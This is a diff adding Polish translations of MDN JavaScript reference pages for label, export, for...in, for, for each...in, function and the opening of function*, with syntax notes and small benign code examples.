index 0000000000..7ff42b3940
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/etykieta/index.html
@@ -0,0 +1,51 @@
+---
+title: etykieta
+slug: Web/JavaScript/Referencje/Polecenia/etykieta
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/label
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Pozwala na oznaczenie punktu w kodzie, do którego będzie można przejść za pomocą poleceń <code>break</code> lub <code>continue</code>.
+</p><p>Przykładowo, można zastosować etykietę do oznaczenia pętli, a następnie użyć poleceń <code>break</code> lub <code>continue</code>, by zaznaczyć, czy program powinien przerwać pętlę czy kontynuować jej wykonywanie.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Polecenie</td>
+</tr>
+<tr>
+<td>Zaimplementowane w:</td>
+<td>JavaScript 1.2, NES 3.0</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262, Edycja 3</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval"><i>etykieta</i> :
+ <i>polecenie</i>
+</pre>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>etykieta</code> </dt><dd> Dowolny identyfikator języka JavaScript, który nie jest słowem zarezerwowanym.
+</dd></dl>
+<dl><dt> <code>polecenie</code> </dt><dd> Polecenia. Polecenie <code>break</code> może być użyte z dowolnym poleceniem oznaczonym etykietą, a <code>continue</code> można użyć z zapętlonymi poleceniami oznaczonymi etykietami.
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Przykład użycia etykiety z poleceniem <code>break</code>
+znajduje się w rodziale <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/break">break</a></code>. Przykład użycia etykiety z poleceniem <code>continue</code> znajduje się w rozdziale <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/continue">continue</a></code>.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/break">break</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/continue">continue</a></code>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/label", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/label", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/label", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/label" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/export/index.html b/files/pl/web/javascript/referencje/polecenia/export/index.html
new file mode 100644
index 0000000000..3b29f1987b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/export/index.html
@@ -0,0 +1,47 @@
+---
+title: export
+slug: Web/JavaScript/Referencje/Polecenia/export
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/export
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Pozwala podpisanemu skryptowi na dostarczanie własności, funkcji i obiektów do innych podpisanych lub niepodpisanych skryptów. Tej opcji nie ma w 3 edycji ECMA-262.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Instrukcja</td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.2, NES 3.0</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>
+export <i>nazwa1</i>, <i>nazwa2</i>, ..., <i>nazwaN</i>;
+</code>
+</p><p><code>
+export *;
+</code>
+</p>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code><i>nazwaN</i></code> </dt><dd> Własność, funkcja, lub obiekt do wyeksportowania.
+</dd></dl>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Zazwyczaj informacja w podpisanym skrypcie jest dostępna tylko dla skryptów podpisanych przez tych samych wykonawców. Poprzez wyeksportowanie własności, funkcji i obiektów podpisany skrypt udostępnia tę informację dla każdego skryptu (podpisanego lub niepodpisanego). Skrypt otrzymujący używa instrukcji <code>import</code>, by uzyskać dostęp do tej informacji.
+</p><p>Pierwsza składnia eksportuje określone własności, funkcje i obiekty.
+</p><p>Druga składnia eksportuje wszystkie własności, funkcje i obiekty ze skryptu.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/import">import</a></code>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/export", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/export", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/export" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/for...in/index.html b/files/pl/web/javascript/referencje/polecenia/for...in/index.html
new file mode 100644
index 0000000000..d8c17d3b3e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/for...in/index.html
@@ -0,0 +1,173 @@
+---
+title: for...in
+slug: Web/JavaScript/Referencje/Polecenia/for...in
+tags:
+ - JavaScript
+ - wyrażenie
+translation_of: Web/JavaScript/Reference/Statements/for...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Wyrażenie</strong> <strong><code>for...in</code> </strong>iteruje po nazwach wszystkich <a href="/pl/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">wyliczalnych</a> własnościach obiektu, włączając w to odziedziczone wyliczalne właściwości. <strong><code>for...in</code></strong> pomija te właściwości, które są indeksowane <a href="/pl/docs/Web/JavaScript/Referencje/Obiekty/Symbol">Symbol</a>ami.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-forin.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">for (<em>zmienna</em> in <var>obiekt</var>)
+ polecenie</pre>
+
+<dl>
+ <dt><code>zmienna</code></dt>
+ <dd>W każdej iteracji, <em>zmiennej</em> przypisywana jest inna nazwa własności.</dd>
+ <dt><code>obiekt</code></dt>
+ <dd>Obiekt, po którego niesymbolicznych wyliczalnych własnościach iterujemy.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code>for...in</code> iteruje jedynie po wyliczalnych i jednocześnie niesymbolicznych właściwościach. Obiekty utworzone za pomocą wbudowanych konstruktorów (np. <code>Array</code> czy <code>Object</code>) dziedziczą niewyliczalne właściwości z m.in. <code>Object.protoype</code> oraz <code>String.prototype</code>, takie jak metoda {{jsxref("String.indexOf", "indexOf()")}} ze {{jsxref("String")}} albo {{jsxref("Object.toString", "toString()")}} z {{jsxref("Object")}}. Pętla przejdzie przez wszystkie wyliczalne właściwości – zarówno własne, jak i odziedziczone z prototypu konstruktora.</p>
+
+<h3 id="Usunięte_dodane_lub_zmodyfikowane_własności">Usunięte, dodane lub zmodyfikowane własności</h3>
+
+<p>Pętla <code>for...in</code> iteruje po właściwościach w arbitralnej kolejności (zobacz więcej w opisie operatora {{jsxref("Operators/delete", "delete")}}, dlaczego nie można liczyć na konkretną kolejność właściwości – szczególnie w różnych przeglądarkach).</p>
+
+<p>Jeśli właściwość zostanie zmodyfikowana w danej iteracji, a dopiero następnie odwiedzona przez <code>for...in</code>, przyjmuje tę późniejszą wartość. Usunięcie właściwości przed jej odwiedzeniem przez pętlę, spowoduje, że nie wystąpi w żadnej z późniejszych iteracji. Natomiast właściwość dodana do obiektu w trakcie iterowania może (ale nie musi) zostać odwiedzona przez pętlę.</p>
+
+<p>Ogólnie, w trakcie iterowania z użyciem <code>for...in</code> najlepiej jest nie modyfikować innych właściwości obiektu niż ta, która jest aktualnie odwiedzona. Nie ma żadnej gwarancji, że dodana właściwość zostanie odwiedzona, ani że właściwość usuwana zostanie odwiedzona przed skasowaniem. Podobnie, nie ma gwarancji, czy właściwość zmodyfikowana zostanie odwiedzona przed, czy po modyfikacji.</p>
+
+<h3 id="Iterowanie_po_tablicy_i_for...in">Iterowanie po tablicy i for...in</h3>
+
+<div class="note">
+<p><strong>Uwaga:</strong> wyrażenie <code>for...in</code> nie powinno być używane na obiektach klasy{{jsxref("Array")}}, gdzie kolejność elementów jest ważna.</p>
+</div>
+
+<p>Indeksy tablic są niczym innym jak właściwościami obiektu – z tym, że ich nazwy są liczbowe, a nie słowne. Dlatego nie ma gwarancji, że <code>for...in</code> odwiedzi je w jakiejkolwiek konkretnej kolejności. Ponadto, pętla zwróci także nieliczbowe właściwości oraz te odziedziczone.</p>
+
+<p>Kiedy kolejność odwiedzania elementów ma znaczenie, iterowanie po elementach tablicy powinno odbywać się z użyciem pętli {{jsxref("Statements/for", "for")}} (albo {{jsxref("Array.prototype.forEach()")}} albo pętli {{jsxref("Statements/for...of", "for...of")}}), ze względu na to, że kolejność iterowania po właściwościach jest zależna od implementacji.</p>
+
+<h3 id="Iterowanie_jedynie_po_własnych_właściwościach">Iterowanie jedynie po własnych właściwościach</h3>
+
+<p>Jeżeli potrzebujesz iterować tylko po własnych właściwościach obiektu, użyj {{jsxref("Object.getOwnPropertyNames", "getOwnPropertyNames()")}}, albo sprawdzaj za każdym razem, czy właściwość jest właściwością własną za pomocą {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}({{jsxref("Object.prototype.propertyIsEnumerable", "propertyIsEnumerable()")}} również moży zostać użyte). Alternatywnie, jeśli jesteś pewien, że nie spowoduje to problemów w kodzie, możesz rozszerzyć wbudowane prototypy o metodę sprawdzającą, czy właściwość jest własna.</p>
+
+<h2 id="Dlaczego_używać_for...in">Dlaczego używać for...in?</h2>
+
+<p>Skoro pętla <code>for...in</code> została stworzona do iterowania po właściwościach obiektu i nie jest zalecana do pracy z tablicami, to jaki może bć z niej pożytek?</p>
+
+<p>Najbardziej praktyczna jest w sytuacjach związanych z debugowaniem, zapewniając łatwy sposób na sprawdzenie właściwości obiektu (wypisując je do konsoli lub gdziekolwiek indziej). Oprócz tego, są sytuacje, kiedy pary klucz-wartość są indeksowane innym typem niż liczba. Wtedy po takim "słowniku" można przeiterować za pomocą <code>for...in</code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_for...in">Użycie for...in</h3>
+
+<p>Pętla <code>for...in</code> poniżej iteruje po wszystkich wyliczalnych właściwościach obiektu <code>obj</code> i wypisuje je do konsoli.</p>
+
+<pre class="brush: js notranslate">var obj = {a: 1, b: 2, c: 3};
+
+for (const prop in obj) {
+ console.log(`obj.${prop} = ${obj[prop]}`);
+}
+
+// Wyjście:
+// "obj.a = 1"
+// "obj.b = 2"
+// "obj.c = 3"</pre>
+
+<h3 id="Iterowanie_po_własnych_właściwościach">Iterowanie po własnych właściwościach</h3>
+
+<p>Następny przykład pokazuje użycie {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}, aby nie wyświetlać właściwości odziedziczonych przez <code>ColoredTriangle</code>.</p>
+
+<pre class="brush: js notranslate">var triangle = {a: 1, b: 2, c: 3};
+
+function ColoredTriangle() {
+ this.color = 'red';
+}
+
+ColoredTriangle.prototype = triangle;
+
+var obj = new ColoredTriangle();
+
+for (const prop in obj) {
+ if (obj.hasOwnProperty(prop)) {
+ console.log(`obj.${prop} = ${obj[prop]}`);
+ }
+}
+
+// Wyjście:
+// "obj.color = red"
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12.6.4', 'for...in statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.statements.for_in")}}</p>
+
+<h3 id="Zgodność_Wyrażenie_incjalizujące_w_trybie_ścisłym">Zgodność: Wyrażenie incjalizujące w trybie ścisłym</h3>
+
+<p>Przed Firefoksem 40, było możliwe używanie wyrażenia incjalizującego (<code>i=0</code>) w pętli <code>for...in</code>:</p>
+
+<pre class="brush: js example-bad notranslate">var obj = {a: 1, b: 2, c: 3};
+for (var i = 0 in obj) {
+ console.log(obj[i]);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<p>To niestandardowe zachowanie jest ignorowane począwszy od wersji 40 i powoduje zgłoszenie błędu {{jsxref("SyntaxError")}} ("<a href="/en-US/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer">for-in loop head declarations may not have initializers</a>") w <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">trybie ścisłym</a> ({{bug(748550)}} i {{bug(1164741)}}).</p>
+
+<p>Inne silniki, takie jak v8 (Chrome), Chakra (IE/Edge), i JSC (WebKit/Safari) również mogą przestać obsługiwać taką konstrukcję.</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}} – podobna konstrukcja, która iteruje po <em>wartościach </em>właściwości</li>
+ <li>{{jsxref("Statements/for_each...in", "for each...in")}} {{deprecated_inline}} – wyrażenie analogiczne do <code>for...of</code>, ale zdeprecjonowane</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+ <li><a href="/pl/docs/Web/JavaScript/Guide/Iterators_and_Generators">Wyrażenia generatora</a> (używają składni <code>for...in</code>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Reguły wyliczalności i własności właściwości</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/for/index.html b/files/pl/web/javascript/referencje/polecenia/for/index.html
new file mode 100644
index 0000000000..1178c277ef
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/for/index.html
@@ -0,0 +1,58 @@
+---
+title: for
+slug: Web/JavaScript/Referencje/Polecenia/for
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/for
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Tworzy pętlę, która składa się z trzech opcjonalnych wyrażeń, załączonych w nawiasach i oddzielonych średnikami, po których występuje instrukcja wykonywana w pętli.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Instrukcja</td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.0, NES 2.0</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">for ([<i>wyrażenie-wstępne</i>]; [<i>warunek</i>]; [<i>wyrażenie-inkrementacji</i>])
+ <i>instrukcja</i>
+</pre>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>wyrażenie-wstępne</code> </dt><dd> Wyrażenie (włącznie z wyrażeniami przypisania) lub deklaracja zmiennej. Zazwyczaj używane do zainicjalizowania zmiennej licznika. Wyrażenie to może opcjonalnie deklarować nowe zmienne za pomocą słowa kluczowego <code>var</code>. Zmienne te nie są lokalne dla pętli, inaczej mówiąc, mają one taki sam zasięg jak pętla <code>for</code>.
+</dd></dl>
+<dl><dt> <code>warunek</code> </dt><dd> Wyrażenie sprawdzane podczas każdego przejścia przez pętlę. Jeśli warunek jest prawdziwy, wykonywana jest <code>instrukcja</code>. Sprawdzenie warunku jest opcjonalne. Jeśli zostanie pominięte, warunek jest zawsze uznawany jako prawdziwy. </dd></dl>
+<dl><dt> <code>wyrażenie-inkrementacji</code> </dt><dd> Ogólnie używane do aktualizacji lub inkrementacji wartości zmiennej licznika.
+</dd></dl>
+<dl><dt> <code>instrukcja</code> </dt><dd> Instrukcja, wykonywana dopóki warunek oceniany jest jako prawdziwy. Aby wykonać większą ilość instrukcji wewnątrz pętli, użyj instrukcji <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/block">block</a> (<code>{ ... }</code>), aby pogrupować te instrukcje.
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_for" name="Przyk.C5.82ad:_Zastosowanie_for"> Przykład: Zastosowanie <code>for</code> </h4>
+<p>Następująca instrukcja <code>for</code> rozpoczyna się deklaracją zmiennej <code>i</code> oraz zainicjalizowaniem jej wartości początkowej <code>0</code>. Instrukcja sprawdza kolejno czy wartość zmiennej <code>i</code> jest mniejsza od dziewięciu, wykonuje dwie następujące po sobie instrukcje oraz zwiększa o 1 wartość zmiennej <code>i</code> podczas każdego kolejnego przejścia przez pętlę.
+</p>
+<pre class="eval">for (var i = 0; i &lt; 9; i++) {
+ n += i;
+ myfunc(n);
+}
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/while">while</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/do...while">do...while</a></code>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/for", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/for", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/for", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/for" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/for_each...in/index.html b/files/pl/web/javascript/referencje/polecenia/for_each...in/index.html
new file mode 100644
index 0000000000..52f1bb9a79
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/for_each...in/index.html
@@ -0,0 +1,80 @@
+---
+title: for each...in
+slug: Web/JavaScript/Referencje/Polecenia/for_each...in
+tags:
+ - E4X
+ - JavaScript
+ - przestarzałe
+ - wyrażenie
+translation_of: Archive/Web/JavaScript/for_each...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div class="warning">
+<p>Wyrażenie <code>for each...in</code>  jest przestarzałe jako część standardu ECMA-357 (<a href="/en-US/docs/Archive/Web/E4X" title="/en-US/docs/E4X">E4X</a>), gdyż E4X nie jest już wspierany. Zamiast tego, rozważ użycie wyrażenia <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a>.<br>
+ <br>
+ <strong>Firefox obecnie ostrzega przed użyciem <code>for each...in</code> i wyrażenie to nie będzie działało od wersji Firefox 57.<br>
+ Zobacz <a href="/en-US/docs/Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated">Warning: JavaScript 1.6's for-each-in loops are deprecated</a> dla pomocy przy migracji do nowego standardu.</strong></p>
+</div>
+
+<p><strong>Wyrażenie</strong><code> <strong>for each...in</strong></code><strong> </strong>iteruje daną zmienną po wszystkich wartościach własności obiektu (ang. <em>object's properties</em>). Podane wyrażenie jest wykonywane dla każdej oddzielnej własności.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">for each (<em>zmienna</em> in <em>obiekt</em>) {
+ <em>polecenie</em>
+}</pre>
+
+<dl>
+ <dt><code>zmienna</code></dt>
+ <dd>Zmienna do iteracji po wartościach własnośic, opcjonalnie deklarowana ze słowem kluczowym <code>var</code>. Zmienna jest lokalna dla funkcji, a nie pętli.</dd>
+</dl>
+
+<dl>
+ <dt><code>obiekt</code></dt>
+ <dd>Obiekt, po którego własnościach iterujemy.</dd>
+</dl>
+
+<dl>
+ <dt><code>polecenie</code></dt>
+ <dd>Polecenie do wykonania dla każdej własności. Do wykonania wielu poleceń należy użyć wyrażenia <a href="/en-US/docs/Web/JavaScript/Reference/Statements/block">block</a> (<code>{ ... }</code>), w celu zgrupowania tychże poleceń.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Niektóre z wbudowanych własności nie są iterowalne – do tej grupy zaliczają się wszystkie wbudowane metody obiektów, jak na przykład metoda <code>indexOf</code> obiektów klasy <code>String</code>. Możliwe jest jednakże iterowanie po wszystkich własnościach zdefiniowanych przez użytkownika.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_for_each...in">Użycie <code>for each...in</code></h3>
+
+<p><strong>Ostrzeżenie:</strong> Nigdy nie używaj takich pętli na tablicach. Wykorzystuj to tylko na obiektach. Po więcej szczegółów, przeczytaj opis wyrażenia <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>.</p>
+
+<p>Następujący fragment kodu iteruje po własnościach obiektu, obliczając ich sumę:</p>
+
+<pre class="brush:js">var sum = 0;
+var obj = {prop1: 5, prop2: 13, prop3: 8};
+
+for each (var item in obj) {
+ sum += item;
+}
+
+console.log(sum); // logs "26", which is 5+13+8</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<p>To wyrażenie nie jest częścią aktualnej specyfikacji ECMA-262 specification. Zaimlementowane w JavaScript 1.6 i obecnie przestarzałe.</p>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.statements.for_each_in")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> – podobne wyrażenie, iterujące po <em>nazwach</em> własności;</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> – podobne wyrażenie, iterujące po <em>wartościach</em> własności, którego można jednak używać dla typów iterowalnych, a więc nie dla obiektówgenerycznych;</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Statements/for">for</a></code><a href="/en-US/docs/JavaScript/Reference/Statements/for">.</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/function/index.html b/files/pl/web/javascript/referencje/polecenia/function/index.html
new file mode 100644
index 0000000000..6b9eba95dd
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/function/index.html
@@ -0,0 +1,68 @@
+---
+title: function
+slug: Web/JavaScript/Referencje/Polecenia/function
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/function
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Deklaruje funkcję z określonymi parametrami.
+</p><p>Możesz również zdefiniować funkcję używając konstruktora <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code> oraz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function">operator function</a></code> (wyrażenie funkcji).
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Instrukcja</td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.0, NES 2.0
+<p>JavaScript 1.5, NES 6.0: Dodano deklaracje funkcji warunkowych (rozszerzenie Netscape).
+</p>
+</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262
+</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">function <i>nazwa</i>([<i>argument</i>] [, <i>argument</i>] [..., <i>argument</i>]) {
+ <i>instrukcje</i>
+}
+</pre>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>nazwa</code> </dt><dd> Nazwa funkcji.
+</dd></dl>
+<dl><dt> <code>argument</code> </dt><dd> Nazwa argumentu, który ma zostać przekazany do funkcji. Funkcja może posiadać do 255 argumentów.
+</dd></dl>
+<dl><dt> <code>instrukcje</code> </dt><dd> Instrukcje, które stanowią ciało funkcji.
+</dd></dl>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Aby zwrócić wartość, funkcja musi zawierać instrukcję <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/return">return</a></code> określającą wartość, która ma zostać zwrócona.
+</p><p>Funkcja utworzona za pomocą instrukcji <code>function</code> jest obiektem <code>Function</code> i posiada wszystkie własności, metody i zachowania obiektów <code>Function</code>. Zobacz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code>, aby uzyskać szczegółowe informacje o funkcjach.
+</p><p>Funkcja może zostać zadeklarowana również wewnątrz wyrażenia. W takim przypadku funkcja jest zazwyczaj anonimowa. Zobacz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function">operator function</a></code>, aby uzyskać więcej informacji o <code>function</code> (wyrażenie funkcji).
+</p><p>Funkcje mogą być deklarowane warunkowo. To znaczy, definicja funkcji może zostać zagnieżdżona wewnątrz instrukcji <code>if</code>. Technicznie rzecz biorąc, takie deklaracje nie są właściwie deklaracjami funkcji; są one wyrażeniami funkcji.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_function" name="Przyk.C5.82ad:_Zastosowanie_function"> Przykład: Zastosowanie <code>function</code> </h4>
+<p>Poniższy kod deklaruje funkcję, która zwraca całkowitą kwotę sprzedaży, gdy podano liczbę sprzedanych produktów <code>a</code>, <code>b</code> i <code>c</code>.
+</p>
+<pre class="eval">function calc_sales(units_a, units_b, units_c) {
+ return units_a*79 + units_b * 129 + units_c * 699;
+}
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje">Funkcje</a></code>,
+<code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code>,
+<code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function">function operator</a></code>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/function", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/function", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/function", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/function" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/function_star_/index.html b/files/pl/web/javascript/referencje/polecenia/function_star_/index.html
new file mode 100644
index 0000000000..5962e0c286
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/function_star_/index.html
@@ -0,0 +1,309 @@
+---
+title: function*
+slug: Web/JavaScript/Referencje/Polecenia/function*
+translation_of: Web/JavaScript/Reference/Statements/function*
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Deklaracja <code><strong>function*</strong></code>  (Słowo kluczowe <code>function</code> przed gwiazdką) definiuje <em>funkcję generatora</em>, która zwraca obiekt {{jsxref("Obiekty/Generator","Generator")}}.</p>
+
+<div class="noinclude">
+<p>Możesz także zdefinować funkcje generatora używając konstruktora {{jsxref("GeneratorFunction")}} oraz {{jsxref("Operators/function*", "function* expression")}}.</p>
+</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Nazwa funkcji.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Nazwa argumentu przekazywanego do funkcji. Funkcja może posiadać maksymalnie 255 argumentów.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>Polecenia wypełniające ciało funkcji.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
